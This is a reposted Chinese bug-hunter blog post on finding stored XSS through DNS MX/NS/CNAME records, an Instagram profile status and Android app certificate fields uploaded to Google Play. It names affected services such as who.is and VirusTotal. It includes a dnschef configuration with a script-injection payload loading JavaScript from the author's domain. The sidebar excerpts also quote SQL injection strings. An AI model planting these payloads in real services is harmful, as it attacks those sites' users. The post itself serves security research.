开发者社区> 云栖大讲堂> 正文
阿里云
为了无法计算的价值
打开APP
阿里云APP内打开

我们要在任何可能的地方测试XSS漏洞

简介:
+关注继续查看

在这篇文章中,我准备跟大家讨论几种不同的场景,在这些场景中,不同的服务都会收集各种各样的数据,但它们又无法正确地去处理这些数据。在某些情况下,数据采用的是安全格式存储和传输的,但是由于数据的解析操作以及进一步处理的过程中存在安全问题,将导致无害的字符串变成攻击向量。

XSS和DNS

如果你在搜索引擎中搜索“通过DNS实现XSS”(XSS via DNS)的相关话题,你将会看到类似【参考资料一】和【参考资料二】这种介绍如何在TXT记录中传递XSS攻击向量的文章。但是为什么没有人考虑过其他类型的记录呢?比如说CNAME或NS之类的。因为如果你想把域名作为一个攻击向量的话,你还需要创建自己的NS服务器。

也许使用DNSCHEF会是一个好主意。

我使用的子域名是hack.bo0om.ru(任何子域名都可以),并且将我的IP设置成了该域名的NS服务器。接下来修改dnschef.ini并完成dnschef的配置,添加下列记录:


  1. [MX]  
  2.  
  3. *.xss.hack.bo0om.ru="-->'><script/src=//bo0om.ru/xss.js> 
  4.  
  5. [NS]  
  6.  
  7. *.xss.hack.bo0om.ru="-->'><script/src=//bo0om.ru/xss.js> 
  8.  
  9. [CNAME] 
  10.  
  11. *.xss.hack.bo0om.ru="-->'><script/src=//bo0om.ru/xss.js> 

如果某个在线服务得到了DNS数据之后还将它们打印在了屏幕上,只能说明该服务忘记过滤掉这些数据了。

下面是一些存在XSS漏洞的例子:


  1. ·        who.is 
  2.  
  3. ·        robtex.com 
  4.  
  5. ·        dnsqueries.com 
  6.  
  7. ·        etc 

XSS和Instagram

有一次我只是为了好玩,然后将一段XSS Payload添加到了我Instagram的个人状态中。一开始没发生什么有趣的事,而且这个XSS Payload也是没有攻击性的。

但是之后我发现,这个XSS Payload竟然在另外的域名和在线服务中起作用了,从我的Web服务器日志记录来看,这些域名貌似指向的是社交网络解析器和一些分析服务。下面给出的是其中部分示例:


  1. ·        findgram.me 
  2.  
  3. ·        imgrab.com 
  4.  
  5. ·        instagy.com 
  6.  
  7. ·        iconosquare.com 
  8.  
  9. ·        tofo.me 
  10.  
  11. ·        photo.sh 
  12.  
  13. ·        gramosphere.com 

不过其中有一部分已经修复了这个漏洞。

XSS和Google Play

最近,@Black2Fan给我发了一条信息,并问我能不能够在Google Play应用商店上传存在XSS漏洞的Android App。我当时都不知道竟然还有这种操作!但我感觉可行。于是我自己弄了一个App,然后为这个App生成了一个证书,并将其中的开发者名称和其他数据用XSS向量进行了替换。

XSS和Google Play

我用一些包含恶意代码的文件以及文件路径组成了一个有效的页面标签,并从我自己的域名加载相应的脚本文件。

注:Linux系统支持在文件名中使用特殊字符。

虽然我们可以在文件名中注入自己的脚本代码,但坏消息是这里有30个字符的限制。不幸的是,我手上可以使用的域名都有点长,而且那些只有一个或两个字符的域名估计都已经被注册掉了。但是在现代Web中,你可以使用punycode编码来注册域名,而且现在还有很多免费的punycode域名没有被注册。比如说xn--g3h。所以我注册了一个.ws域名(请参考下图,有个符号这里打不出来,包括点号在内一共四个字符)。

XSS和Google Play

这个App目前仍然可以在Google Play应用商店中找到,但是它随时可能被删掉。

而且更加有趣的是,当我将这个App上传到VirusTotal之后,其中的XSS向量竟然触发了反病毒产品Web端面板中的漏洞。哈哈哈…而且除了VirusTotla之外,还有两家天朝的安全厂商也存在这种问题,但这里我就不直接提他们的名字了。

总结

作为一个Bug Hunter,虽然我这一次的发现没能拿到漏洞奖金,但希望可以给大家提供一种新的挖洞思路,其实我也只是为了好玩而已:D不喜勿喷

作者:Alpha_h4ck
来源:51CTO

版权声明:本文内容由阿里云实名注册用户自发贡献,版权归原作者所有,阿里云开发者社区不拥有其著作权,亦不承担相应法律责任。具体规则请查看《阿里云开发者社区用户服务协议》和《阿里云开发者社区知识产权保护指引》。如果您发现本社区中有涉嫌抄袭的内容,填写侵权投诉表单进行举报,一经查实,本社区将立刻删除涉嫌侵权内容。

相关文章
SSRE漏洞
服务器端请求伪造:是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。
40 0
国密SSL协议之性能测试
国密SSL在实际上线和使用过程中,性能就是一个必须面对的问题。 国密SSL和标准SSL相比,算一个新生事物,没有完善齐备的性能测试工具。 本文针对国密SSL性能测试,描述了相关指标,并提供一些基本的方法和工具。
798 0
【SSH】泛泛谈SSM和SSH
【SSH】泛泛谈SSM和SSHhttp://www.bieryun.com/1669.html 最近在学SSH,但突然看到了SSM,感觉两者很相似,于是就开始打破砂锅问到底,网上找了很多资料,但是由于本人对SSM的认识只存在于理论上,所以就泛泛的谈论下自己对这两个java框架的认识,做一个小总结。
1659 0
SQL注入漏洞测试工具比较
  Sql注入测试一定要使用工具。原因一:工作效率;原因二:人工很难构造出覆盖面广的盲注入的sql语句。 例如当一个查询的where字句包含了多个参数,or and的关系比较多时,简单的or 1=1, and 1=2是很难发现注入点的。
1571 0
XSIO漏洞
  注:版权所有,转载请注明出处。 今天要讲的这个漏洞是一个非常猥琐的漏洞。 大部分网站都有这个漏洞,不光是百度。
804 0
利用data:进行XSS测试
这种方法不算新,可是很少人用,也很少人能想得到。http://hi.baidu.com/cncxz/blog/item/8d6aaa08d1d96fbc2fddd4ee.html   data:类似于javascript:,在很大程度上,可以完成javascript的工作.举一个例子:进行XSS测试时,发现javascript与script等关键字都被过滤了(现在一般有点XSS意识的管理员都懂得过滤这两个关键字)。
681 0
很全的SQL注入语句,有SQL漏洞的都可以拿下
1、返回的是连接的数据库名 and db_name()>0 2、作用是获取连接用户名 and user>0 3、将数据库备份到Web目录下面 ;backup database 数据库名 to disk='c:\inetpub\wwwroot\1.
820 0
+关注
云栖大讲堂
擅长前端领域,欢迎各位热爱前端的朋友加入我们( 钉钉群号:23351485)关注【前端那些事儿】云栖号,更多好文持续更新中!
3913
文章
1754
问答
文章排行榜
最热
最新
相关电子书
更多
低代码开发师(初级)实战教程
立即下载
阿里巴巴DevOps 最佳实践手册
立即下载
冬季实战营第三期:MySQL数据库进阶实战
立即下载